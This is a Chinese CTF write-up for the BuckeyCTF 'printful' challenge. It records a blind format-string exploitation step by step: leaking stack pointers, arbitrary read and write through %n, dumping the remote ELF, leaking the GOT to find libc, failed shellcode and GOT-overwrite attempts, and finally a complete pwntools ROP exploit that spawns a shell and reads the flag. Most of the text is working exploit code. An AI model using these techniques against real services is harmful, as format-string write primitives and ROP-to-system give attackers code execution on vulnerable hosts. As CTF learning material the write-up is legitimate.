Post

BuckeyCTF - printful

BuckeyCTF - printful

这一题断断续续尝试了1天,从泄漏栈指针、任意位置读写,到远程dump ELF、泄漏got表、获得libc地址,到最后尝试写入ROP链,实在是非常梦幻() 然而可惜的是在最后一步总是遇到 remote connection closed with EOF的情况。赛后查看大佬们的wp发现和我写的不是同一个return addr. 除了最后一个小节,都会记录我当时的探索过程,因此有些过程可能是错的(笑)

0x01 泄漏栈信息,实现任意位置读写

没有附件,测试发现有格式化字符串溢出漏洞。 先尝试泄漏信息,疯狂发送%p.

对于上面的数据,如果想知道某个数据位于第几位,可以复制到这里的信息,然后:

1
echo xxx | wc

来查看

编写简单的printf程序调试,发现出现的顺序分别是(rdi已经是格式化字符串,所以从rsi开始) rsi -> rdx -> rcx -> r8 -> r9 -> [rsp] -> [rsp+0x8] -> ….. 因此上面的泄漏中,从第6个开始就是栈上的内容了。而且我们发现[rsp]正是我们输入的格式化字符串存储的开始地址。

测试有没有溢出? 发送极长的代码,发现每次只会读取255个字符左右,多余的字符留在缓冲区自动供下次读取,猜测可能程序是使用fgets读取的。

如何确定当前函数的栈帧有多长?以及如何寻找返回地址? 如果不使用枚举的方法,就应该思考关键的数据特征。我突然想到canary应该能够胜任这个任务,其中有一个字节固定为0x00,剩余的7字节比较“无规则”,不像地址数据/栈数据是0x7fffxxx或者0x55xxx的形式。

其中0xf29e58510ea79100疑似canary, 尝试在其后面寻找ret addr

1
 0xf29e58510ea79100 0x7ffc0a7207a0 0x559ece6e42de (nil) 0x7f6a843f2083 0x200000001

后面的0x7ffc0a7207a0在栈上,而0x559ece6e42de看上去比较像code段的地址。

目前的情报还是不够,如果想要利用格式化字符串的漏洞,就要获得rsp的值。能否让程序崩溃,输出某些有用的信息?然而并没有成功。 从另一个角度思考,自己目前能够利用的和“栈”相关的信息有哪些?现在栈上有很多指向栈上数据的指针,或许能够用%n来向某个地址写入数据,然后尝试在dump中的数据中寻找,一旦找到了我们写入的数据,就能够确定rsp的地址!

首先尝试的是疑似rbp的地址:

1
2
3
4
5
6
7
from pwn import *

x = remote('printful.challs.pwnoh.io', 1337, ssl=True)
# payload = (100*'%p ').encode()
payload = (39 * '%p ' + '%n' + 60 * '%p ').encode()
x.sendline(payload)
x.interactive()

惊喜地发现在ret addr后面的(nil)部分的数据变成了一个数字,因此只需要rbp-0x8即可指向返回值。

0x02 尝试写入shellcode

第一版:尝试写入shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from sre_compile import dis
from pwn import *

p = remote('printful.challs.pwnoh.io', 1337, ssl=True)
p.recvuntil(b'> ')


def display():
    payload0 = (50*'%p ').encode()
    p.sendline(payload0)
    ret = p.recvuntil( '> ')
    print(ret)


# first data leak
payload1 = (50*'%p ').encode()
p.sendline(payload1)
ret1 = p.recvuntil(b'> ')[:-2].decode()      # remove the '>' at end
display()
pushed_ebp = int(ret1.split()[39], 16)

#
shellcode_addr = pushed_ebp - 16*0x8
print(hex(shellcode_addr))
# shellcode_lo_addr = shellcode_addr & 0xffffffff
# shellcode_hi_addr = (shellcode_addr >> 32) & 0xffffffff
# print(hex(shellcode_lo_addr), hex(shellcode_hi_addr))


def modify_byte(addr, int_val):
    # construct the pointer to target addr
    ptr_payload = b'A' * 160 + p64(addr)
    p.sendline(ptr_payload)
    p.recvuntil(b'> ')
    display()
    # modify value
    p.sendline(b'%26$p')
    x = p.recvuntil(b'> ')
    print(x)
    val_payload = ('%'+str(int_val)+'d%26$n').encode()
    # val_payload = 'abc%26$n'.encode()
    print(val_payload)
    p.sendline(val_payload)
    p.interactive()
    p.recv()
    display()
    

# buffer + 160 is the pointer
ret_ptr_addr = pushed_ebp - 0x8     # try to construct such value
modify_byte(ret_ptr_addr ,  shellcode_addr & 0xff)
display()
modify_byte(ret_ptr_addr + 1,  (shellcode_addr >> 8) & 0xff)
modify_byte(ret_ptr_addr + 2,  (shellcode_addr >> 16) & 0xff)
modify_byte(ret_ptr_addr + 3,  (shellcode_addr >> 24) & 0xff)
modify_byte(ret_ptr_addr + 4,  (shellcode_addr >> 32) & 0xffffffff)

# write the shellcode
context.arch = 'i386'
context.os = 'linux'
asm_src = shellcraft.sh()
shellcode = asm(asm_src)
payload6 = b'A'*160 + shellcode

# trigger shell
p.sendline(b'q')


p.interactive()

然而失败了. 经过更多的调试发现:只要修改ret addr的任意一个字节,程序都会崩溃。说明程序每次读取一行数据都会返回!这可麻烦了,我们只能一次性全部写好。

但是这个问题很容易想到解决的方法:既然必须一次性写完,那就必须对输入的数据进行排序,然后按照从小到大的顺序写入,在期间填入特定大小的字符数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from operator import add
from sre_compile import dis
from pwn import *

p = remote('printful.challs.pwnoh.io', 1337, ssl=True)
p.recvuntil(b'> ')


def display():
    payload0 = (35*'%p ').encode()
    p.sendline(payload0)
    ret = p.recvuntil( '> ')
    print(ret)


# first data leak
payload1 = (50*'%p ').encode()
p.sendline(payload1)
ret1 = p.recvuntil(b'> ')[:-2].decode()      # remove the '>' at end
print(ret1)
display()
pushed_ebp = int(ret1.split()[39], 16)
# ret_addr = int(ret1.split()[40], 16)

shellcode_addr = pushed_ebp - 16*0x8    # point to frame 20
p1 = shellcode_addr & 0xffff
p2 = (shellcode_addr >> 16) & 0xffff
p3 = (shellcode_addr >> 32) & 0xffff        # first 2 bytes of address is null

print(hex(shellcode_addr))
print(hex(p1), hex(p2), hex(p3))

# (offset, val)
data = [(0, p1), (2, p2), (4, p3) ]
sorted_data = sorted(data, key=lambda x : x[1])

    
# shellcode_lo_addr = shellcode_addr & 0xffffffff
# shellcode_hi_addr = (shellcode_addr >> 32) & 0xffffffff
# print(hex(shellcode_lo_addr), hex(shellcode_hi_addr))


def modify_byte(addr1, addr2, addr3, val1, val2, val3):
    # construct the pointer to target addr
    ptr_payload = b'A' * 120 + p64(addr1) + p64(addr2) + p64(addr3)
    p.sendline(ptr_payload)
    p.recvuntil(b'> ')
    display()
    print('set ptr done')
    
    # modify value
    val_payload = f'%{val1}d%21$hn%{val2}d%22$hn%{val3}d%23$hn'.encode()
    print(val_payload)
    # p.sendline(val_payload)
    p.interactive()
    m = p.recvuntil(b'> ')[:-2]
    print(m.hex())
    # display()
    

# buffer + 160 is the pointer
ret_ptr_addr = pushed_ebp - 0x8     # try to construct such value
# modify_byte(ret_ptr_addr + 2,  (shellcode_addr >> 16) & 0xff)
# modify_byte(ret_ptr_addr + 3,  (shellcode_addr >> 24) & 0xff)
# modify_byte(ret_ptr_addr + 4,  (shellcode_addr >> 32) & 0xffffffff)
# write the shellcode
context.arch = 'amd64'
context.os = 'linux'

custom_asm = '''
    push 0x64636261     
    mov rax, 1         
    mov rdi, 1        
    mov rsi, rsp     
    mov rdx, 4      
    syscall
'''

shellcode = asm(custom_asm)
print(shellcode.hex())

asm_src = shellcraft.sh()
# shellcode = asm(asm_src)
payload6 = b'A'*160 + shellcode
p.sendline(payload6)
p.recvuntil(b'> ')
display()

print('modifying address...')

addr = [ (sorted_data[i][0]+ret_ptr_addr) for i in range(3)]
val = [ sorted_data[0][1] if i==0 else sorted_data[i][1]-sorted_data[i-1][1] for i in range(3)]
print(addr)
print(val)
modify_byte(addr[0], addr[1], addr[2], val[0], val[1], val[2])



p.interactive()

然而还是不行,我开始怀疑有NX保护,开了个ticket问下主办方,确实如此。那么接下来,试试ret2libc吧!

0x03 dump ELF, 泄漏got表,获得libc地址,尝试got表劫持

要如何获得libc地址?能不能利用已有的栈上数据泄漏?

首先要做的是:从栈上挑出那些长得“像”libc函数地址的数据

1
2
3
0x557005fd5010 像code段
0x7f2a261706a0 像libc指针
0x7ffd23b9d4e8 像stack指针

然而,这样还是极大的盲目性。而且可能有很多数据污染,感觉无从下手。

后来,一位pwn大佬告诉我:可以尝试把程序dump下来,泄漏got表。 我的第一反应是:哈?还有这种操作?但仔细想想,以目前的成果,技术上完全可行。唯一可能的问题或许就是时间问题,或者猝不及防的连接中断吧!

  • 尝试用 %s 泄漏任意位置数据,如果结果为空,就证明这个位置是\x00, 否则就按照返回的数据长度来增长指针。
  • 开头怎么确定?程序有PIE, 但是既然知道了栈上的返回地址,那么按照code段到ELF头所在段的距离估算,如果读取的位置太过靠前,会直接EOF; 这样通过二分法很快能够确定起始地址(但赛后发现有更好的方法:利用对齐的特性,比如ret addr是0x557005fd42de的话,基本可以直接断言开头位于0x557005fd3000
  • 要读取多长?我选择了64KB, 不过事实上根本用不到这么多

胡乱搓了一版,结果——确实很慢,高达2分钟100B的速度。而且下载到有些位置会断开连接,改进了一下,支持断点重传。再加上多进程分段下载的功能,最终版本是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# dump.py
from pwn import *
import sys

custom_timeout = 10
part_size = int(sys.argv[1])
part_index = int(sys.argv[2])

def start_process():
    p = remote('printful.challs.pwnoh.io', 1337, ssl=True)
    p.recvuntil(b'> ')
    # first data leak
    payload1 = (50*'%p ').encode()
    p.sendline(payload1)
    ret1 = p.recvuntil(b'> ')[:-2].decode()      # remove the '>' at end
    # print(ret1)
    # display()
    pushed_ebp = int(ret1.split()[39], 16)
    ret_addr = int(ret1.split()[40], 16)
    # ret_addr = int(ret1.split()[40], 16)
    return p, ret_addr

def display(p):
    payload0 = (35*'%p ').encode()
    p.sendline(payload0)
    ret = p.recvuntil(b'> ')
    print(ret)



def leak(p, addr):
    payload1 = b'A'*160 + p64(addr)
    p.sendline(payload1)
    p.recvuntil(b'> ')
    payload2 = b"%26$s"
    p.sendline(payload2)
    msg = p.recvuntil(b'> ')[:-3]
    return msg


count = 0
tmp = b''
no_proc = True
targt_addr = 0
p = 0

while count <= part_size:
    if no_proc:
        p, ret_addr = start_process()
        targt_addr = ret_addr - 0x12de + part_size * part_index + count
        no_proc = False
    print(f'-------------------------------------leaking --{hex(targt_addr)}--, current size {hex(count)} B')
    try:
        result = leak(p, targt_addr)
    except:
        no_proc = True
        continue
    print(result)

    data_len = len(result)

    if(data_len > 0):
        targt_addr += data_len
        count += data_len
        tmp += result
    else:
        targt_addr += 1
        count += 1
        tmp += b'\x00'
    
with open(f'./store/dump.elf{part_index}', 'wb') as f:
    f.write(tmp)

1
2
3
4
5
6
7
8
9
10
11
12
13
# download.py
import subprocess
import multiprocessing

def run_part(size, index):
    cmd = ["python", "dump.py", str(size), str(index)]
    print(f"launch: {size}-{index} ")
    subprocess.run(cmd)


parts = [ (1024, i) for i in range(2051, 2053)]
with multiprocessing.Pool(processes=2) as pool:
    pool.starmap(run_part, parts)

然后开始下载,果然快多了! 出去吃了个饭,回来再看发现还在跑,但是马上发现了不对劲——一直在重连,意味着读取一直失败。然而终端下试了下发现IP好像没有被封,随机发现了,以0x400为一个页面单位,只下载成功了前20页!

如果按照 start=0x400000data=0x600000来计算,远远无法到达got的位置。算了,那就看看扒下来的数据段吧。

合并了后发现好像没啥用,ida中有大量出错的位置,可能还得修复相关字段的长度?太麻烦了

1
2
3
4
5
6
7
8
9
10
11
12
13
(venv13) (base) woc@myarch:printful/store $ xxd dump.elf0
00000000: 7f45 4c46 0201 0100 0000 e0e7 ed6d 0000  .ELF.........m..
00000010: 0300 3e00 0100 0000 0011 0000 0000 0000  ..>.............
00000020: 4000 0000 0000 0000 d83a 0000 0000 0000  @........:......
00000030: 0000 0000 4000 3800 0d00 4000 1f00 1e00  ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000  ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000  @.......@.......
......
00000300: 7002 0000 0000 0000 7002 733e 3e39 0000  p.......p.s>>9..
00000310: 0100 0000 0000 0000 2f6c 6962 3634 2f6c  ......../lib64/l
00000320: 642d 6c69 6e75 782d 7838 362d 3634 2e73  d-linux-x86-64.s
00000330: 6f2e 3200 0000 0000 0400 0000 1000 0000  o.2.............
......

ELF开头,不错。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
(venv13) (base) woc@myarch:printful/store $ xxd dump.elf1
......
00000110: 2040 0000 0000 0000 0800 0000 0000 0000   @..............
00000120: 006c 6962 632e 736f 2e36 0070 7574 7300  .libc.so.6.puts.
00000130: 5f5f 7374 6163 6b5f 6368 6b5f 6661 696c  __stack_chk_fail
00000140: 0073 7464 696e 0070 7269 6e74 6600 6667  .stdin.printf.fg
00000150: 6574 7300 7374 646f 7574 005f 5f63 7861  ets.stdout.__cxa
00000160: 5f66 696e 616c 697a 6500 7365 7476 6275  _finalize.setvbu
00000170: 6600 7374 7263 6d70 005f 5f6c 6962 635f  f.strcmp.__libc_
00000180: 7374 6172 745f 6d61 696e 0047 4c49 4243  start_main.GLIBC
00000190: 5f32 2e34 0047 4c49 4243 5f32 2e32 2e35  _2.4.GLIBC_2.2.5
000001a0: 005f 4954 4d5f 6465 7265 6769 7374 6572  ._ITM_deregister
000001b0: 544d 436c 6f6e 6554 6162 6c65 005f 5f67  TMCloneTable.__g
000001c0: 6d6f 6e5f 7374 6172 745f 5f00 5f49 544d  mon_start__._ITM
000001d0: 5f72 6567 6973 7465 7254 4d43 6c6f 6e65  _registerTMClone
000001e0: 5461 626c 6500 0000 0000 0200 0300 0200  Table...........
000001f0: 0200 0200 0200 0000 0200 0000 0200 0200  ................
......

这里揭示了用到的函数,比较重要的有printf fgets puts strcmp等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(venv13) (base) woc@myarch:printful/store $ xxd dump.elf15
......
000002c0: 0800 0000 0000 0000 f000 0000 0000 0000  ................
000002d0: 0900 0000 0000 0000 1800 0000 0000 0000  ................
000002e0: 1e00 0000 0000 0000 0800 0000 0000 0000  ................
000002f0: fbff ff6f 0000 0000 0100 0008 0000 0000  ...o............
00000300: feff ff6f 0000 0000 0806 dfb0 2641 0000  ...o........&A..
00000310: ffff ff6f 0000 0000 0100 0000 0000 0000  ...o............
00000320: f0ff ff6f 0000 0000 e695 72f9 3456 0000  ...o......r.4V..
00000330: f9ff ff6f 0000 0000 0300 0000 0000 0000  ...o............
00000340: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000350: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000360: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000370: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000380: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000390: a03d 0000 0000 0000 0000 0000 0000 0000  .=..............
000003a0: 0000 0000 0000 0000 20f4 d950 2c7f 0000  ........ ..P,...
000003b0: 90ac e450 2c7f 0000 90cc d750 2c7f 0000  ...P,......P,...
000003c0: 30d6 d950 2c7f 0000 f0ed e950 2c7f 0000  0..P,......P,...
000003d0: e0fc d950 2c7f 0000 0000 0000 0000 0000  ...P,...........
000003e0: 90ef d350 2c7f 0000 0000 0000 0000 0000  ...P,...........
000003f0: 0000 0000 0000 0000 101f d650 2c7f 0000  ...........P,...
......
(venv13) (base) woc@myarch:printful/store $ xxd dump.elf16
00000000: 0000 0000 0000 0000 08f0 d568 6a55 0000  ...........hjU..
00000010: a086 65b7 127f 0000 0000 0000 0000 0000  ..e.............
00000020: 8079 65b7 127f 0000 0000 0000 0000 0000  .ye.............
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
......

这里疑似出现了got表,这种“失而复得”的感觉让我十分惊喜,接下来我用了一种愚笨的方法来比较查找libc: 首先用当前版本的libc查看fgets和printf的相对位置,然后在满足大小的情况下,一个一个排查,终于:

那么libc也很容易计算出了!

接下来尝试劫持got表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import *


libc_elf = ELF('./libc6_2.32.so')
p = remote('printful.challs.pwnoh.io', 1337, ssl=True)
p.recvuntil(b'> ')
# first data leak
payload1 = (50*'%p ').encode()
p.sendline(payload1)
ret1 = p.recvuntil(b'> ')[:-2].decode()      # remove the '>' at end

pushed_ebp = int(ret1.split()[39], 16)
ret_addr = int(ret1.split()[40], 16)
ret_ptr_addr = pushed_ebp - 0x8     # try to construct such value

def modify_byte(addr1, addr2, addr3, val1, val2, val3):
    # construct the pointer to target addr
    print(addr1, addr2, addr3)
    ptr_payload = b'A' * 120 + p64(addr1) + p64(addr2) + p64(addr3)
    p.sendline(ptr_payload)
    p.recvuntil(b'> ')
    print('set ptr done')
    
    # modify value
    val_payload = f'%{val1}d%21$hn%{val2}d%22$hn%{val3}d%23$hn'.encode()
    print(val_payload)
    # p.sendline(val_payload)
    p.interactive()
    m = p.recvuntil(b'> ')[:-2]
    print(m.hex())

def leak(addr):
    payload1 = b'A'*160 + p64(addr)
    p.sendline(payload1)
    p.recvuntil(b'> ')
    payload2 = b"%26$s"
    p.sendline(payload2)
    msg = p.recvuntil(b'> ')[:-3]
    return msg

target_addr = ret_addr - 0x12de 
printf_got_addr = target_addr + 0x3fb8
msg = leak(printf_got_addr)
printf_real_addr = u64(msg + b'\x00'*(8-len(msg)))

libc_base = printf_real_addr - libc_elf.symbols['printf']
libc_elf.address = libc_base

system_real_addr = libc_elf.symbols['system']
print(hex(system_real_addr))

p1 = system_real_addr & 0xffff
p2 = (system_real_addr >> 16) & 0xffff
p3 = (system_real_addr >> 32) & 0xffff        # first 2 bytes of address is null
# (offset, val)
data = [(0, p1), (2, p2), (4, p3) ]
sorted_data = sorted(data, key=lambda x : x[1])

addr = [ (sorted_data[i][0]+printf_got_addr) for i in range(3)]
val = [ sorted_data[0][1] if i==0 else sorted_data[i][1]-sorted_data[i-1][1] for i in range(3)]
modify_byte(addr[0], addr[1], addr[2], val[0], val[1], val[2])

然而还是失败了,怀疑有relro保护,无法写入got表

0x04 尝试手动构造ROP链

既然已经能利用libc了,那么gadget自然是数不胜数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *


libc_elf = ELF('./libc6_2.32.so')
p = remote('printful.challs.pwnoh.io', 1337, ssl=True)
p.recvuntil(b'> ')
# first data leak
payload1 = (50*'%p ').encode()
p.sendline(payload1)
ret1 = p.recvuntil(b'> ')[:-2].decode()      # remove the '>' at end

pushed_ebp = int(ret1.split()[39], 16)
ret_addr = int(ret1.split()[40], 16)
ret_ptr_addr = pushed_ebp + 0x8     # try to construct such value

def modify_byte(addr1, addr2, addr3, val1, val2, val3):
    # construct the pointer to target addr
    print(addr1, addr2, addr3)
    ptr_payload = b'A' * 120 + p64(addr1) + p64(addr2) + p64(addr3)
    p.sendline(ptr_payload)
    p.recvuntil(b'> ')
    print('set ptr done')
    
    # modify value
    val_payload = f'%{val1}d%21$hn%{val2}d%22$hn%{val3}d%23$hn'.encode()
    print(val_payload)
    # p.sendline(val_payload)
    p.interactive()
    m = p.recvuntil(b'> ')[:-2]
    print(m.hex())

def leak(addr):
    payload1 = b'A'*160 + p64(addr)
    p.sendline(payload1)
    p.recvuntil(b'> ')
    payload2 = b"%26$s"
    p.sendline(payload2)
    msg = p.recvuntil(b'> ')[:-3]
    return msg

target_addr = ret_addr - 0x12de 
printf_got_addr = target_addr + 0x3fb8
msg = leak(printf_got_addr)
printf_real_addr = u64(msg + b'\x00'*(8-len(msg)))

libc_base = printf_real_addr - libc_elf.symbols['printf']
libc_elf.address = libc_base
print(hex(libc_base))
pop_rdi_addr = 0x23b6a + libc_base

system_real_addr = libc_elf.symbols['system']
# print(hex(system_real_addr))

# print(hex(pop_rdi_addr))
# write /bin/sh
sh_addr = pushed_ebp - 0x8 * 6
bin_payload =b'A'*240 + '/bin/sh\x00'.encode() 
p.sendline(bin_payload)
key_bytes = p64(pop_rdi_addr) + p64(sh_addr) + p64(system_real_addr)


data_list = []
for i in range(12):
    data_list.append((i, int.from_bytes(key_bytes[2*i : 2*(i+1)])))
# (offset, val)
sorted_data = sorted(data_list, key=lambda x : x[1])

# write addr
addr_payload = b'A'*136 
for i in range(12):
    addr_payload += p64(ret_ptr_addr + 2*i)
p.sendline(addr_payload)

#
modify_payload = f'%{sorted_data[0][0]+23}$hn'

print(sorted_data)

for i in range(1,12):
    delta = sorted_data[i][1] - sorted_data[i-1][1]
    assert(delta >= 0)
    if delta == 0:
        modify_payload += f'%{sorted_data[i][0]+23}$hn'
    else:
        modify_payload += f'%{delta}d%{sorted_data[i][0]+23}$hn'
modify_payload = modify_payload.encode()
print(modify_payload)
p.interactive()

addr = [ (sorted_data[i][0]+printf_got_addr) for i in range(3)]
val = [ sorted_data[0][1] if i==0 else sorted_data[i][1]-sorted_data[i-1][1] for i in range(3)]
modify_byte(addr[0], addr[1], addr[2], val[0], val[1], val[2])

只不过这次需要连续写入3个地址,分12次写入,进行排序。

然而还是失败了!

0x05 write up

赛后看大佬的脚本,发现修改的返回地址不是 0x55xxx, 而是从这里开始+0x10 位置的地址!这个地址不会每次都返回,可以多次写入。

[TODO] 这到底对应哪个函数?能不能dump出来?不过看范围是一个lib函数

[TODO] 返回地址有多层,可以找“更深”的,实在不行还可以遍历攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
import struct

from pwn import *

context.arch = "amd64"
context.log_level = "info"

chal = remote("printful.challs.pwnoh.io", 1337, ssl=True)


def wait_til_prompt():
    return chal.recvuntil(b"> ")


def dump_address(address, format="p"):
    leak_part = f"|%24${format}|EOF_prnt".encode()
    out = leak_part.ljust(136, b"A") + b"EOF_prnt" + struct.pack("Q", address)
    chal.sendline(out)
    return chal.recvuntil(b"EOF_prnt")[: -len(b"EOF_prnt")].split(b"|")[1]


def leak_position(position, format="p"):
    chal.sendline(f"%{position}${format}EOF_prnt".encode())
    return chal.recvuntil(b"EOF_prnt")[: -len(b"EOF_prnt")]


def get_image_base():
    base = int(leak_position(34), 16) & ~0xFFF
    return base - 0x2000


# ========== STAGE 1: LEAK ADDRESSES ==========
log.info("Stage 1: Leaking addresses...")

wait_til_prompt()
image_base = get_image_base()

wait_til_prompt()
printf_got = struct.unpack(
    "Q", dump_address(image_base + 0x3FB8, "s").ljust(8, b"\x00")
)[0]

libc_base = printf_got - 0x061C90
pop_rdi = libc_base + 0x23B6A
binsh = libc_base + 0x1B45BD
system = libc_base + 0x52290
ret_gadget = libc_base + 0x22679

log.success(f"Image base: {image_base:#x}")
log.success(f"Libc base: {libc_base:#x}")
log.success(f"system(): {system:#x}")

wait_til_prompt()
stack_4 = int(leak_position(4, "p"), 16)
ret_addr_loc = stack_4 + ((41 - 4) * 8)

log.success(f"Return address at: {ret_addr_loc:#x}")

log.info("Stage 2: Writing ROP chain to stack...")

rop_chain = [
    ret_gadget,
    pop_rdi,  # pop rdi; ret
    binsh,  # "/bin/sh"
    system,  # system()
]

# Write each qword of the ROP chain
for i, gadget in enumerate(rop_chain):
    log.info(f"  Writing gadget {i + 1}/4: {gadget:#x}")

    # Write gadget byte-by-byte
    for byte_idx in range(8):
        byte_val = (gadget >> (byte_idx * 8)) & 0xFF
        target = ret_addr_loc + (i * 8) + byte_idx

        if byte_val == 0:
            fmt = b"%256c%23$hhn"
        else:
            fmt = f"%{byte_val}c%23$hhn".encode()

        payload = fmt + (b"A" * (136 - len(fmt))) + struct.pack("Q", target)

        wait_til_prompt()
        chal.sendline(payload)

log.info("Stage 3: Triggering exploit...")

wait_til_prompt()
chal.sendline(b"q")

sleep(0.5)

chal.sendline(b"cat flag.txt")
sleep(0.5)

flag = chal.recvall(timeout=3)
log.success(f"{flag}")
This post is licensed under CC BY 4.0 by the author.